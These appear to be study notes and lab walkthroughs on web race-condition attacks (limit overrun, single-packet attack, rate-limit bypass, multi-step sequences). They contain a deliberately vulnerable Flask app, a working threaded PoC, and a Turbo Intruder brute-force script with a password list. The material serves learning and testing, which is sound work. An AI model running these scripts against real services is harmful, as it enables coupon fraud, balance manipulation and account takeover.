(Black Hat USA 2023) Race condition is type of logical vulnerability, that occur when the server handle requests concurrently(Multi-Threads) without enough safeguard. ![ๅœ–็‰‡](https://hackmd.io/_uploads/BkSyGOLb0.png) In a race condition, the occurrence is often tied to a specific time window, known as the "Race Window," typically measured in milliseconds. VulnsCode ```python from flask import Flask, request, g, render_template_string import sqlite3 import os app = Flask(__name__) DATABASE = 'race.db' def get_db(): if not hasattr(g, 'db'): g.db = sqlite3.connect(DATABASE) return g.db def init_db(): if not os.path.exists(DATABASE): db = sqlite3.connect(DATABASE) c = db.cursor() c.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, balance INTEGER, claimed INTEGER)") c.execute("INSERT OR IGNORE INTO users VALUES (1, 0, 0)") db.commit() db.close() #route # / -> get money form # /blance -> check your account money # /get money -> get money # /reset -> Reset your account # Work on 2025/4/7 @app.route("/", methods=["GET"]) def index(): return render_template_string(""" <h2>๐Ÿ’ฐ Get Your Free Money</h2> <form action="/get_money" method="post"> <button type="submit">Claim $100</button> </form> <br> <h3>๐Ÿงน Reset for Testing</h3> <form action="/reset" method="post"> <button type="submit">Reset DB</button> </form> <br> <a href="/balance">Check Balance</a> """) # Get Money from browser @app.route("/get_money", methods=["POST"]) def get_money(): db = get_db() c = db.cursor() user_id = 1 # Simplified: always use same user c.execute("SELECT claimed FROM users WHERE id = ?", (user_id,)) claimed = c.fetchone()[0] # Check if claimed if claimed: return "Already claimed!", 403 # Simulate race condition delay (Race Windows = 0.1) #import time; time.sleep(0.1) # here can replace realword processing time # Testing on local env -> Very low Delay ! # no time.sleep 5/10 work # time.sleep(0.1) 10/10 work # time.sleep(0.01) 9/10 work # Update balance and claimed flag c.execute("UPDATE users SET balance = balance + 100 WHERE id = ?", (user_id,)) c.execute("UPDATE users SET claimed = 1 WHERE id = ?", (user_id,)) db.commit() return "Success!" @app.route("/balance", methods=["GET"]) def check_balance(): db = get_db() c = db.cursor() c.execute("SELECT balance FROM users WHERE id = 1") balance = c.fetchone()[0] return f"Current balance: ${balance}" @app.route("/reset", methods=["POST"]) def reset_db(): db = get_db() c = db.cursor() c.execute("UPDATE users SET balance = 0, claimed = 0 WHERE id = 1") db.commit() return "Database reset! Ready for testing again ๐Ÿ’ฃ" @app.teardown_appcontext def close_connection(exception): db = getattr(g, 'db', None) if db is not None: db.close() if __name__ == "__main__": init_db() app.run(debug=True, threaded=True) # each request runs in its own thread ``` Exploit(POC) ```python= import requests import threading # Local vulnerable endpoint URL = "http://127.0.0.1:5000/get_money" # No auth headers needed for this example, but keep the dict structure HEADERS = { "Content-Type": "application/x-www-form-urlencoded" } # Number of concurrent requests to simulate race condition NUM_REQUESTS = 10 def exploit(): try: response = requests.post(URL, headers=HEADERS) print(f"[+] Response: {response.status_code} - {response.text}") except Exception as e: print(f"[-] Error: {e}") threads = [] # Spawn multiple threads sending requests at the same time for _ in range(NUM_REQUESTS): t = threading.Thread(target=exploit) t.start() threads.append(t) for t in threads: t.join() # Check result try: balance_response = requests.get("http://127.0.0.1:5000/balance") print(f"[๐Ÿ’ฐ] Final Balance: {balance_response.text}") except Exception as e: print(f"[-] Could not fetch balance: {e}") # PS C:\Users\user\Desktop\ExploitANdToolDev\WEB\RaceCondiction\whiteBox> python .\explit.py # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [+] Response: 200 - Success! # [๐Ÿ’ฐ] Final Balance: Current balance: $1000 # Why It Works # Cause Explanation # โŒ No atomic check+update The claimed check and the update are separate, allowing overlaps # โŒ No row-level locking SQLite allows concurrent reads; updates happen after race has passed # โŒ No transaction isolation Each request opens its own SQLite connection and transaction # โœ… Simulated delay (sleep) Worsens the problem, making the race easier to exploit # โœ… Flask threaded=True Allows concurrent request handling, which triggers the vulnerability ``` # Limit Overrun (Concept) "Time-of-Check to Time-of-use" - flaws Race condition provide a way to surpass the constraint imposed by if statement and execute the code block. Normal Situation ![ๅœ–็‰‡](https://hackmd.io/_uploads/SyDHIYls6.png) Exploit - Race Condition (Limit Overrun) ![ๅœ–็‰‡](https://hackmd.io/_uploads/SkFILFxjp.png) Requests 1 and 2 are processed concurrently by multiple threading during the race window (time-of-check to time-of-use). This scenario illustrates how a race condition can be exploited to potentially bypass limitations and execute code blocks. Variant type of exploit behavior - Redeeming discount multiple time - Ratting product multiple time - withdrawing or transfer cash - Reusing a CAPTCHA solution - Bypassing an anti-brute-force rate limit. ## Identify Limit Overrun flawed Steps of Identify limit overrun flaws - Search security or critical Endpoint - single-Use - Rate-time - Send concurrently request to trigger the race condition - Observer the endpoint's behavior ## Exploit Limit Overrun ### Jitter Issue & Solutions ![ๅœ–็‰‡](https://hackmd.io/_uploads/HkyXMcNiT.png) To overcome the jitter, the burpsuite repeater allow us send a group of parallel requests that greatly reduces the network jitter. Burp automatically adjusts the technique it uses to suit the HTTP version supported by the server: HTTP /1 -> Last-byte Synchronization HTTP /2 -> Single-Packet Attack (Black HAT USA 2023) **Last-byte Synchronization allow** to mitigate network congestion and ensure a group of requests get processed by the target server simultaneously. **Single-packet Attack** enables us to completely neutralize interference from network jitter by using single TCP packet to complete 20 ~30 request simultaneously. ![ๅœ–็‰‡](https://hackmd.io/_uploads/BJL3Sq4oa.png) Single Packet Attack Reference (https://infosecwriteups.com/dive-into-single-packet-attack-3d3849ffe1d2) **Notice: Sending a large number of requests like this helps to mitigate internal latency** ### LAB-1: Exploit - Limit overrun (Repeater) Valid Credential: wiener:peter #### Mapping the target & Recon ![ๅœ–็‰‡](https://hackmd.io/_uploads/BJz8jcEoa.png) #### Analysis the attack surface Parameter ![ๅœ–็‰‡](https://hackmd.io/_uploads/B1SYsq4oa.png) Functionality - Login - Cart - Coupon Coupon is single-user functionality Single User Functionality ![ๅœ–็‰‡](https://hackmd.io/_uploads/BycUouUZA.png) #### Identify Identify Coupon functionality whether is easily affect by race condition ![ๅœ–็‰‡](https://hackmd.io/_uploads/S1ceaqNsp.png) Unable apply coupon ![ๅœ–็‰‡](https://hackmd.io/_uploads/BkYLacNjT.png) Create Multiple Apply coupon request ![ๅœ–็‰‡](https://hackmd.io/_uploads/ryoiTq4oa.png) Adding them into a group and send it concurrently ![ๅœ–็‰‡](https://hackmd.io/_uploads/rJr-R9NoT.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/S1xER5Vsp.png) Using single packet attack ![ๅœ–็‰‡](https://hackmd.io/_uploads/S1UU0cNjT.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/rJ_t1oEs6.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/BJzjyjNiT.png) Coupon function is easy affected by race condition #### Exploit Send multiple reqeust at once time help to reduce the jitter in single packet Attack Exploit this vulnerability to apply coupon in multiple time 20 Request ![ๅœ–็‰‡](https://hackmd.io/_uploads/Hyxk7s4j6.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/S1NwGsVsa.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/H1epJmjVs6.png) Solved! ## Turbo Intruder (Extension) BApp Store It's suitable for more complex attack such as - Multiple retries - Stagger request timing, - Extremely large number of request. ### LAB2 - Bypassing Rate limit #### Mapping the target & Recon #### Analysis Attack Surface Parameters ![ๅœ–็‰‡](https://hackmd.io/_uploads/HJKylSIsp.png) Functionality - Login page ![ๅœ–็‰‡](https://hackmd.io/_uploads/ryo3JrIsp.png) Limit Rate - Update Email #### Identify Testing Login page of lime rate -> Is it allow to use race condition to bypass Limit Rate (manual )-> 5 Single Packet Attack ![ๅœ–็‰‡](https://hackmd.io/_uploads/B1q-WHLoa.png) Login function exists a race condition vulnerability. allow use attempt using brute force to Guess password #### Exploit Target Account: Carlos Potential Carlos's Password ``` 123123 abc123 football monkey letmein shadow master 666666 qwertyuiop 123321 mustang 123456 password 12345678 qwerty 123456789 12345 1234 111111 1234567 dragon 1234567890 michael x654321 superman 1qaz2wsx baseball 7777777 121212 000000 ``` Using Turbo Intruder component to customer attacker ![ๅœ–็‰‡](https://hackmd.io/_uploads/BJxxMHUip.png) Single-Packet Attack (Template-Bypass Anti-Brute-Force) Place Holder -> `%s` ```python= def queueRequests(target, wordlists): # target -> HTTP/2, # use engine=Engine.BURP2 and concurrentConnections=1 for a single-packet attack engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Assign the password from clipboard (Ctrl + C ) passwords = wordlists.clipboard # Queue All request # The 'gate' argument withholds the final part of each request until engine.openGate() is invoked for password in passwords: engine.queue(target.req, password, gate='1') # Once every request has been queued # Send all requests in the given gate simultaneously engine.openGate('1') def handleResponse(req, interesting): table.add(req) ``` Copy password to clipboard (Ctrl + c) ![ๅœ–็‰‡](https://hackmd.io/_uploads/H1U6EH8sp.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/HyjWBSUoT.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/SJlSSS8sT.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/rJSLHBUo6.png) Solved !! # Hidden Multi-Step Sequence ![ๅœ–็‰‡](https://hackmd.io/_uploads/H1HFoQPja.png) Those hidden actions can be a request or functionality, We'll refer to these as "sub-states". If we can abuse those sub-states, it allow us to exploit the race condition by time sensitive vulnerability of kinds of login flaw. For example, 2MF authentication bypass ![ๅœ–็‰‡](https://hackmd.io/_uploads/ryUyxEwip.png) Vulnerable code (MFA Enable) ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ## Identify (Multi-Step Sequence) Identifying methodology ![ๅœ–็‰‡](https://hackmd.io/_uploads/r1cxpvvZR.png) ## Prediction Find the endpoint that involve the security or impotent functionality E.g. Password Reset(critical/security) of implement. ![ๅœ–็‰‡](https://hackmd.io/_uploads/Bk7cINPoT.png) ## Prob 1. Testing the functionality in normal condition. 2. Using Repeater sends sequence request in group to for recording response 3. Comparing the both result to find out the different or odd behaviors. ## Proof the Concept To Understand what happening and remove superfluous request. # Multi-endpoint Race Condition ![ๅœ–็‰‡](https://hackmd.io/_uploads/SkdDNnPZ0.png) Single Connection of Payment Validation ![ๅœ–็‰‡](https://hackmd.io/_uploads/S1UWpVwja.png) ![ๅœ–็‰‡](https://hackmd.io/_uploads/HyTWpNPsa.png) ## Aligning multi-endpoint Race Windows ### LAB - ?? Valid Credential: wiener:peter. #### Enumeration & Analysis Attack Surface (Actions-Options) - SiteMap - Content Discover - Find Script - Dynamic Parameter (Attacker Surface ) ![ๅœ–็‰‡](https://hackmd.io/_uploads/Skfu8jdZR.png) #### Identify **Investigation** **Flaw Design** **Defense Mechanism ** **Bypass** #### Exploit